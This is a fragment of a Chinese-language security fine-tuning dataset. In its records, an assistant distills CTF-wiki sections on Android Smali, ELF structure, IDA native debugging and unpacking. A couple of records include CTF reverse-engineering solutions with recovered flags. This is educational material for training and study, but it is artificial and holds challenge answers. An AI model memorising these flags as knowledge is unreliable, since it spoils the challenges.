CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1072, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "if指令", "heading_path": ["interfaces", "执行语句", "具体指令", "跳转指令", "if指令"], "original_id": "docs-c967972a5455646b4393", "original_line": 3, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "cd866222ec916fa4b7fdd470", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-faee5ac37ef657174d9e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/so-example.md` 中的章节「再次获取flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/so-example.md`\n标题：静态分析原生层程序\n章节：静态分析原生层程序 > 原生层静态分析例子 > 2015-海峡两岸-一个APK，逆向试试吧 > 再次获取flag\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“再次获取flag”展开。\n- 修改脚本如下 ``python s = \"QflMnfH,ZHVW^7c\" flag = \"\" for idx,c in enumerate(s): tmp = ord(c) if idx<8: tmp-=3 flag +=chr(tmp+idx) print flag `` flag 如下 ` ➜ 2015-海峡两岸一个APK，逆向试试吧 python exp.py NdkMobiL4cRackEr `` 当然该题目也可以使用动态调试。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- static\n- so-example.md\n- code:python\n\n代码/命令片段线索：\n- python: 8 行，首行 `s = \"QflMn`fH,ZHVW^7c\"`\n- plain: 2 行，首行 `➜ 2015-海峡两岸一个APK，逆向试试吧 python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 235, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "reverse", "heading": "再次获取flag", "heading_path": ["静态分析原生层程序", "原生层静态分析例子", "2015-海峡两岸-一个APK，逆向试试吧", "再次获取flag"], "original_id": "docs-43c93b29b53f6f946e44", "original_line": 103, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "source_root": "docs", "source_sha256": "fb270de07d8aea7ae9a3d64f3300458f9af935fc74f897f3fce7bd898e380416", "split": "train", "split_group_key": "48e918c79c53b14112097940", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "android", "basic-reverse", "static", "so-example.md", "code:python"], "title": "静态分析原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fb136e6ebe8cb99f3ea9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/strings-sections.md` 中的章节「.strtab: String Table」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/strings-sections.md`\n标题：String Sections\n章节：String Sections > .strtab: String Table\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.strtab: String Table”展开。\n- ELF 文件使用这些字符串来存储程序中的符号名，包括 - 变量名 - 函数名 该节在运行的过程中不需要加载，只需要加载对应的子集 .dynstr 节。\n- 字符串表也可以为空，相应的，其节区头部的 sh_size 成员将为 0。\n- 一个节区头部的 sh_name 成员的值为其相应的节区头部字符串表节区的索引，此节区由 ELF 头的 e_shstrndx 成员给出。\n- 该节区描述默认的字符串表，包含了一系列的以 NULL 结尾的字符串。\n- 一般通过对字符串的首个字母在字符串表中的下标来索引字符串。\n\n关键术语：\n- executable\n- elf\n- structure\n- strings-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 888, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": ".strtab: String Table", "heading_path": ["String Sections", ".strtab: String Table"], "original_id": "docs-fcceeb75584d39134719", "original_line": 484, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/strings-sections.md", "source_root": "docs", "source_sha256": "e472b7fb26156888c1a20786e07586807a5e13500a3aa963e0b1b4ad18dbef90", "split": "train", "split_group_key": "09af0370784f29a779c48b93", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "strings-sections.md"], "title": "String Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/strings-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fb1eb872e7e969c838e7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「基本环境搭建」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：IDA 动态调试原生层程序 > 基本环境搭建\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本环境搭建”展开。\n- 当 PC 有客户端连接 23946 端口时，其发送的信息都将被转发到手机的相应的端口，这时 android_server 就收到相应的数据，从而使得 IDA 可以调试程序。\n- 所以其通信大概是这个样子的 > > IDA<-->adb server<--->adbd<---->android_server > > ​ 电脑 | 手机 其中，第一步只需要执行一次，后面就不需要再次执行。\n- 1. 上传 android_server 文件(在 ida 的 dbgsrv 文件夹下)，并修改相应权限使其可以执行 ``shell adb push android_server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server ` 2. 开启 android_server，其会监听 23946 端口(以 root 权限运行) `shell adb shell # 进入adb su # 切换root ./data/loca...\n- 无论是调试什么原生层程序，基本的环境搭建都是类似的，需要确保 IDA 与手机通信正常。\n- 而第 2-3 步每次都得执行，因此可以写成一个脚本，并将脚本的路径放在系统的 path 环境变量下，这样我们可以执行一个命令直接执行。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `adb push android_server /data/local/tmp/`\n- shell: 3 行，首行 `adb shell # 进入adb`\n- shell: 1 行，首行 `adb forward tcp:23946 tcp:23946`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 779, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "基本环境搭建", "heading_path": ["IDA 动态调试原生层程序", "基本环境搭建"], "original_id": "docs-642c7900a5fc9fcae2db", "original_line": 3, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "8a9b2e8d4e9ebf2cad5b94b9", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "android", "basic-reverse", "dynamic", "ida-native-debug.md", "code:shell"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fb64bc3989aa2c90e6a0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/sfx.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/sfx.md`\n标题：SFX 法\n章节：SFX 法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 示例程序可以点击此处下载: 6_sfx.zip 首先我们在菜单选项->调试设置->异常标签页中勾选所有忽略异常.\n- 文件: ./figure/sfx_02.png] 重载程序，程序已经停在了代码入口点, 并且也不需要对OEP进行重新分析.\n- 文件: ./figure/sfx_01.png] 然后切换到SFX标签页, 点选\"字节方式跟踪真正入口处(速度非常慢)\" [图片: sfx_02.png;\n- 文件: ./figure/sfx_03.png]\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 348, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["SFX 法", "示例"], "original_id": "docs-d72ce255979fa86aa267", "original_line": 1548, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/sfx.md", "source_root": "docs", "source_sha256": "297c3fbd1a6353a91e84b2d38fc8bc592c16078f612f137c5e1174049c806bd5", "split": "train", "split_group_key": "0c8821e6880b974530321d91", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "SFX 法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/sfx.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fcd6181a34d83662689d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「基本类信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：描述方法类型 > 类 > 基本类信息\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本类信息”展开。\n- 举个例子 `smali .class public final Lcom/a/b/c;\n- .source \"Demo.java\" ` 可以看出我们类的访问权限是public，非权限修饰符为final，类名为com.a.b.c，它继承了父类java.lang.object，对应的源文件为Demo.java`。\n- 如下 ``text .class <访问权限修饰符> [非权限修饰符] <类名> .super <父类名> .source <源文件名称> ` 其中，<> 中的内容必须存在，[] 的内容是可选的。\n- 访问权限修饰符即所谓的 public，protected，private。\n- 而非权限修饰符则指的是final，abstract。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:text\n- code:smali\n\n代码/命令片段线索：\n- text: 3 行，首行 `.class <访问权限修饰符> [非权限修饰符] <类名>`\n- smali: 3 行，首行 `.class public final Lcom/a/b/c;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 374, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基本类信息", "heading_path": ["描述方法类型", "类", "基本类信息"], "original_id": "docs-950b896bf39e0a879976", "original_line": 45, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "c77a01200fa37ab1d2d43927", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:text", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fd24898007007daf3ada", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/static-analyze/ida.md` 中的章节「IDAPython」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/static-analyze/ida.md`\n标题：IDA Pro\n章节：IDA Pro > IDAPython\n路径分类：reverse / reverse/tools/static-analyze\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IDAPython”展开。\n- 在 IDA Pro 当中内置了一个 Python 及一个 IDC 模块，可以帮助我们快速地对二进制文件进行修改等工作。\n\n关键术语：\n- 修复/缓解\n- reverse\n- tools\n- static-analyze\n- ida.md\n- code:python\n\n代码/命令片段线索：\n- python: 9 行，首行 `idc.get_db_byte(addr) # 返回 addr 处的 1 字节`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 734, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "IDAPython", "heading_path": ["IDA Pro", "IDAPython"], "original_id": "docs-27445d7f4cb6dcf87d0f", "original_line": 1577, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "source_root": "docs", "source_sha256": "717d794703d9fa7485124c8718c946608af2557418f5abaf18aa1f7b96937e3c", "split": "train", "split_group_key": "464c8abd5881ebed8950c190", "subcategory": "reverse/tools/static-analyze", "terms": ["修复/缓解", "reverse", "tools", "static-analyze", "ida.md", "code:python"], "title": "IDA Pro"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fd2e72f09ec1d68cdfda", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/code-sections.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/code-sections.md`\n标题：Code Section\n章节：Code Section > 概述\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 动态链接器并不负责调用可执行文件的 .init 节或者利用 atexit 注册可执行文件的 .fini 节。\n- 下面的例子解释了两种正确的可以用来生成给定例子的顺序。\n- 在动态链接器创建了进程镜像，并且执行了重定位后，每一个共享目标文件都有机会去执行一些初始化的代码。\n- 在调用目标文件 A 的初始化代码之前，会首先调用所有 A 依赖的共享目标文件的初始化代码。\n- 比如说，如果目标文件 A 依赖于另外一个目标文件 B，那么 B 就会在 A 的依赖列表中，这会被记录在动态结构的 DT_NEEDED 中。\n\n关键术语：\n- 漏洞利用\n- executable\n- elf\n- structure\n- code-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 849, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "概述", "heading_path": ["Code Section", "概述"], "original_id": "docs-e15311c317372b8ad95e", "original_line": 472, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/code-sections.md", "source_root": "docs", "source_sha256": "af7df705a4d65d05c94a11de0b39a3e8a18380a90632ebc393dcd3ddf41cfd33", "split": "train", "split_group_key": "1b8448cb5ca961edd6ff9a38", "subcategory": "executable/elf/structure", "terms": ["漏洞利用", "executable", "elf", "structure", "code-sections.md"], "title": "Code Section"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/code-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fd700d27c3f687954dd6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「特殊下标」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Section Header Table > 特殊下标\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“特殊下标”展开。\n- | 系统保留在SHN_LORESERVE到SHN_HIRESERVE之间(包含边界)的索引值，这些值不在节头表中引用。\n- 节头表中比较特殊的几个下标如下 | 名称 | 值 | 含义 | | ------------- | ------ | ---------------------------------------- | | SHN_UNDEF | 0 | 标志未定义的，丢失的，不相关的或者其它没有意义的节引用。\n- | | SHN_LOPROC | 0xff00 | 处理器相关的下界 | | SHN_HIPROC | 0xff1f | 处理器相关的上界 | | SHN_ABS | 0xfff1 | 相关引用的绝对值。\n- 例如与节号SHN_ABS相关的符号拥有绝对值，它们不受重定位的影响 | | SHN_COMMON | 0xfff2 | 这一节区相定义的符号是通用符号，例如FORTRAN COMMON，C语言中未分配的外部变量。\n- 例如，与节号SHN_UNDEF相关的“定义”的符号就是一个未定义符号。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 649, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "特殊下标", "heading_path": ["ELF 文件", "Section Header Table", "特殊下标"], "original_id": "docs-6bf73762c497e0a5c5f5", "original_line": 471, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "9244c1fd96e75fbf42869301", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fe02599b63a63e966d09", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「字段操作指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 字段操作指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“字段操作指令”展开。\n- ` 其对应的smali如下 `smali const/4 v0, 0x2 new-array v1, v0, I const/4 v0, 0x0 aget-int v2, v1, v0 const/4 v0, 0x1 aput-int v2, v1, v0 ` 如果我们想获得类com.example.test的静态int类型的字段staticField，其smali如下 `smali sget v0, Lcom/example/Test;\n- 如果我们编写如下代码 ``java int[] arr = new int[2];\n- 如 iget-byte指令表示读取类型为字节的实例字段的值，iput-short指令表示设置的实例字段的类型为短整型。\n- 普通字段操作指令有： iget，iget-wide，iget-object，iget-boolean，iget-byte，iget-char，iget-short， iput，iput-wide，iput-object，iput-boolean，iput-byte，iput-char，iput-short。\n- 静态字段操作指令有： sget，sget-wide，sget-object，sget-boolean，sget-byte，sget-char，sget-short， sput，sput-wide，sput-object，sput-boolean，sput-byte，sput-char，sput-short。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 3 行，首行 `int[] arr = new int[2];`\n- smali: 6 行，首行 `const/4 v0, 0x2`\n- smali: 1 行，首行 `sget v0, Lcom/example/Test;->staticField:I`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 904, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "字段操作指令", "heading_path": ["interfaces", "执行语句", "具体指令", "字段操作指令"], "original_id": "docs-e726f06808847a91d5d4", "original_line": 58, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "5743bb63478903234d6fc9da", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fe54122fe7be0e7242f0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「分析加密代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 Sharif University Quals CTF Commercial Application > 分析加密代码\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析加密代码”展开。\n- 那么我们可以很容易地添加解密函数如下 `java public static String decrypt(String input, String secretKey, String iv) { String encryptedText = \"\";\n- } } ` 可以看到程序首先使用了encrypt函数对三个字符串加密。\n- 其实就是利用上面所说的AES/CBC/PKCS5Padding方法加密，将str2作为key，将str3作为初始向量。\n- ``java public class KeyVerifier { public static final String CIPHER_ALGORITHM = \"AES/CBC/PKCS5Padding\";\n- } public static String encrypt(String str, String str2, String str3) { String str4 = \"\";\n\n关键术语：\n- 栈\n- Android逆向\n- 密码学\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:java\n- code:text\n\n代码/命令片段线索：\n- java: 35 行，首行 `public class KeyVerifier {`\n- java: 12 行，首行 `public static String decrypt(String input, String secretKey, String iv) {`\n- text: 1 行，首行 `fl-ag-IS-se-ri-al-NU-MB-ER`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2038, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "分析加密代码", "heading_path": ["静态分析 java 层例子", "2014 Sharif University Quals CTF Commercial Application", "分析加密代码"], "original_id": "docs-85845e8fe3645ed40a8d", "original_line": 5, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "e28f3e1c586a99d4a4042ea2", "subcategory": "android/basic_reverse/static", "terms": ["栈", "Android逆向", "密码学", "漏洞利用", "android", "basic-reverse", "static", "java-example.md", "code:java", "code:text"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ff850e70f40616a304ce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「文件格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > 简介 > 文件格式\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件格式”展开。\n- 用于生成进程的目标文件必须具有程序头部表，但是重定位文件不需要这个表。\n- 用于链接的目标文件必须有节区头部表，其它目标文件则无所谓，可以有，也可以没有。\n- 出于方便性和效率考虑，根据过程的不同，目标文件格式提供了其内容的两种并行视图，如下 [图片文件: ./figure/object_file_format.png] 首先，我们来关注一下链接视图。\n- 文件开始处是 ELF 头部（ ELF Header），它给出了整个文件的组织情况。\n- 如果程序头部表（Program Header Table）存在的话，它会告诉系统如何创建进程。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 619, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "文件格式", "heading_path": ["ELF 文件", "简介", "文件格式"], "original_id": "docs-b0d9560f55cc294303a4", "original_line": 458, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "0fc1b3211fdc5c66586d9874", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
